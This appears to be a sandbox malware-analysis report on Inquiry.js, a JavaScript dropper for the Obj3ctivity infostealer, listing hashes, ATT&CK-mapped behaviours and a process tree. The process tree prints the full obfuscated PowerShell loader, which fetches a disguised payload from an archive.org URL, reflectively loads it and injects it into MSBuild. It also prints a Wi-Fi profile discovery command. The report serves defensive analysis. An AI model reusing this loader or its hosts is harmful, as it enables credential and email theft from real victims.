obj3ctivity | 70a82edf7f26167e6b7df16d624d29d45fd220bb47b8407bc58ee6f7b8c822d3

General

Target

Inquiry.js
Size

162KB
MD5

459f759046d6def3f4524d28eab22476
SHA1

46af0da70b77d98d4773023554dacc1f968b93a1
SHA256

70a82edf7f26167e6b7df16d624d29d45fd220bb47b8407bc58ee6f7b8c822d3
SHA512

f440b3263f621ddc3113084c7aa8a9acc876c19c97138f0c923d2a65f30203d3d4141f49bf0997b9426f60c42f667094d74e0e3f8fff2fabebf938fdd0cdf264
SSDEEP

1536:DCd0yFOp29X3u7EWFOm3xE7E9GQ0c4RTXN4uzQ6VJYCkR5O+6puYszWTC4mKcAWy:DCdTFOE9OoWlN0XJzQ6VPk7yx

Score

10^/10

obj3ctivity collection discovery execution persistence privilege_escalation stealer

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://ia600805.us.archive.org/10/items/new_image_202501/new_image.jpg%20

exe.dropper

https://ia600805.us.archive.org/10/items/new_image_202501/new_image.jpg%20

Signatures

Detects Obj3ctivity Stage1 1 IoCs

Obj3ctivity aka PXRECVOWEIWOEI is an infostealer written in C#.

stealer

resource	yara_rule
behavioral2/memory/2312-26-0x0000000000400000-0x00000000004E6000-memory.dmp	family_obj3ctivity

Obj3ctivity family
obj3ctivity
Obj3ctivity, PXRECVOWEIWOEI
Obj3ctivity aka PXRECVOWEIWOEI is an infostealer written in C#.
stealer obj3ctivity

Blocklisted process makes network request 5 IoCs

flow	pid	Process
4	3472	wscript.exe
7	3472	wscript.exe
9	3472	wscript.exe
22	2424	powershell.exe
31	2424	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	wscript.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe
Key opened	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe
Key opened	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2424	powershell.exe

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
60	ip-api.com
33	icanhazip.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2424 set thread context of 2312	2424	powershell.exe	97

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	chcp.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
4688	netsh.exe
3628	cmd.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	MSBuild.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2424	powershell.exe
2424	powershell.exe
2424	powershell.exe
2424	powershell.exe
2312	MSBuild.exe
2312	MSBuild.exe
2312	MSBuild.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2424	powershell.exe
Token: SeDebugPrivilege	2312	MSBuild.exe
Token: SeSecurityPrivilege	224	msiexec.exe

Suspicious use of WriteProcessMemory 25 IoCs

description	pid	Process	procid_target
PID 3472 wrote to memory of 2424	3472	wscript.exe	83
PID 3472 wrote to memory of 2424	3472	wscript.exe	83
PID 2424 wrote to memory of 4912	2424	powershell.exe	96
PID 2424 wrote to memory of 4912	2424	powershell.exe	96
PID 2424 wrote to memory of 4912	2424	powershell.exe	96
PID 2424 wrote to memory of 2312	2424	powershell.exe	97
PID 2424 wrote to memory of 2312	2424	powershell.exe	97
PID 2424 wrote to memory of 2312	2424	powershell.exe	97
PID 2424 wrote to memory of 2312	2424	powershell.exe	97
PID 2424 wrote to memory of 2312	2424	powershell.exe	97
PID 2424 wrote to memory of 2312	2424	powershell.exe	97
PID 2424 wrote to memory of 2312	2424	powershell.exe	97
PID 2424 wrote to memory of 2312	2424	powershell.exe	97
PID 2312 wrote to memory of 3628	2312	MSBuild.exe	98
PID 2312 wrote to memory of 3628	2312	MSBuild.exe	98
PID 2312 wrote to memory of 3628	2312	MSBuild.exe	98
PID 3628 wrote to memory of 4088	3628	cmd.exe	101
PID 3628 wrote to memory of 4088	3628	cmd.exe	101
PID 3628 wrote to memory of 4088	3628	cmd.exe	101
PID 3628 wrote to memory of 4688	3628	cmd.exe	103
PID 3628 wrote to memory of 4688	3628	cmd.exe	103
PID 3628 wrote to memory of 4688	3628	cmd.exe	103
PID 3628 wrote to memory of 960	3628	cmd.exe	104
PID 3628 wrote to memory of 960	3628	cmd.exe	104
PID 3628 wrote to memory of 960	3628	cmd.exe	104

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\Inquiry.js
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3472
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$originalText = '#x#.411/elif/ua.moc.srelli#sidenruoblem//:sp##h';$restoredText = $originalText -replace '#', 't';$ImGAeKuoWcnmOsioRbWc = 'https://ia600805.us.archive.org/10/items/new_image_202501/new_image.jpg ';$zKmKBBAfbUGnsWxhAiiz = New-Object System.Net.WebClient;$tZUoLPcfaNfWNPPuuQNL = $zKmKBBAfbUGnsWxhAiiz.DownloadData($ImGAeKuoWcnmOsioRbWc);$UoOZAzuAcLvSicAcLKuh = [System.Text.Encoding]::UTF8.GetString($tZUoLPcfaNfWNPPuuQNL);$CkcWWOGxjxbeZAUGPTSp = '<<BASE64_START>>';$ZrcCaGWcoRxzHkkulGiZ = '<<BASE64_END>>';$CbqKcPceQgaPcoZgIaAi = $UoOZAzuAcLvSicAcLKuh.IndexOf($CkcWWOGxjxbeZAUGPTSp);$tmpOdLZZHhJCGJfWbiRf = $UoOZAzuAcLvSicAcLKuh.IndexOf($ZrcCaGWcoRxzHkkulGiZ);$CbqKcPceQgaPcoZgIaAi -ge 0 -and $tmpOdLZZHhJCGJfWbiRf -gt $CbqKcPceQgaPcoZgIaAi;$CbqKcPceQgaPcoZgIaAi += $CkcWWOGxjxbeZAUGPTSp.Length;$aWiLuziLfnZnGLeRZrin = $tmpOdLZZHhJCGJfWbiRf - $CbqKcPceQgaPcoZgIaAi;$siibUOizcbQuLNGKWfWc = $UoOZAzuAcLvSicAcLKuh.Substring($CbqKcPceQgaPcoZgIaAi, $aWiLuziLfnZnGLeRZrin);$uSqTKGlifAbAKeLRUmfk = -join ($siibUOizcbQuLNGKWfWc.ToCharArray() | ForEach-Object { $_ })[-1..-($siibUOizcbQuLNGKWfWc.Length)];$iqfeZGJtzAJhdcBqdzmR = [System.Convert]::FromBase64String($uSqTKGlifAbAKeLRUmfk);$nZGHGkTBZPiLBmWnLiec = [System.Reflection.Assembly]::Load($iqfeZGJtzAJhdcBqdzmR);$qbPKWBeczbjsBndzhNnZ = [dnlib.IO.Home].GetMethod('VAI');$qbPKWBeczbjsBndzhNnZ.Invoke($null, @($restoredText, 'WfWxdqKLzhtiOjUlGsfz', 'WfWxdqKLzhtiOjUlGsfz', 'WfWxdqKLzhtiOjUlGsfz', 'MSBuild', 'WfWxdqKLzhtiOjUlGsfz', 'WfWxdqKLzhtiOjUlGsfz','WfWxdqKLzhtiOjUlGsfz','WfWxdqKLzhtiOjUlGsfz','WfWxdqKLzhtiOjUlGsfz','WfWxdqKLzhtiOjUlGsfz','WfWxdqKLzhtiOjUlGsfz','1','WfWxdqKLzhtiOjUlGsfz','TaskName'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2424
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    PID:4912
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    - Accesses Microsoft Outlook profiles
    - System Location Discovery: System Language Discovery
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    - outlook_office_path
    - outlook_win_path
    PID:2312
  - - C:\Windows\SysWOW64\cmd.exe
      "cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All
      4⤵
      System Location Discovery: System Language Discovery
      System Network Configuration Discovery: Wi-Fi Discovery
      Suspicious use of WriteProcessMemory
      PID:3628
    - - C:\Windows\SysWOW64\chcp.com
        
        chcp 65001
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4088
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh wlan show profile
        5⤵
        Event Triggered Execution: Netsh Helper DLL
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:4688
    - - C:\Windows\SysWOW64\findstr.exe
        
        findstr All
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:960

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:224

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Event Triggered Execution

1

T1546

Netsh Helper DLL

1

T1546.007

Privilege Escalation

Event Triggered Execution

1

T1546

Netsh Helper DLL

1

T1546.007

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

Query Registry

System Information Discovery

3

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

System Network Configuration Discovery

1

T1016

Wi-Fi Discovery

1

T1016.002

Lateral Movement

Collection

Email Collection

1

T1114

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_eys30oai.ikv.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2312-26-0x0000000000400000-0x00000000004E6000-memory.dmp

Filesize
920KB

Download
memory/2312-86-0x00000000075A0000-0x0000000007ACC000-memory.dmp

Filesize
5.2MB

Download
memory/2312-64-0x0000000005920000-0x0000000005996000-memory.dmp

Filesize
472KB

Download
memory/2312-54-0x0000000006750000-0x00000000067E2000-memory.dmp

Filesize
584KB

Download
memory/2312-50-0x0000000006AC0000-0x0000000007064000-memory.dmp

Filesize
5.6MB

Download
memory/2312-32-0x0000000005C50000-0x0000000005E12000-memory.dmp

Filesize
1.8MB

Download
memory/2312-31-0x0000000005ED0000-0x0000000005EE2000-memory.dmp

Filesize
72KB

Download
memory/2312-30-0x00000000050E0000-0x0000000005146000-memory.dmp

Filesize
408KB

Download
memory/2424-19-0x00007FF93F840000-0x00007FF940301000-memory.dmp

Filesize
10.8MB

Download
memory/2424-24-0x0000015755830000-0x00000157559EA000-memory.dmp

Filesize
1.7MB

Download
memory/2424-25-0x0000015712C90000-0x0000015712C9C000-memory.dmp

Filesize
48KB

Download
memory/2424-23-0x00007FF93F840000-0x00007FF940301000-memory.dmp

Filesize
10.8MB

Download
memory/2424-29-0x00007FF93F840000-0x00007FF940301000-memory.dmp

Filesize
10.8MB

Download
memory/2424-22-0x00007FF93F840000-0x00007FF940301000-memory.dmp

Filesize
10.8MB

Download
memory/2424-20-0x00007FF93F843000-0x00007FF93F845000-memory.dmp

Filesize
8KB

Download
memory/2424-21-0x00007FF93F840000-0x00007FF940301000-memory.dmp

Filesize
10.8MB

Download
memory/2424-6-0x00007FF93F843000-0x00007FF93F845000-memory.dmp

Filesize
8KB

Download
memory/2424-18-0x00007FF93F840000-0x00007FF940301000-memory.dmp

Filesize
10.8MB

Download
memory/2424-17-0x00007FF93F840000-0x00007FF940301000-memory.dmp

Filesize
10.8MB

Download
memory/2424-7-0x000001572D0C0000-0x000001572D0E2000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads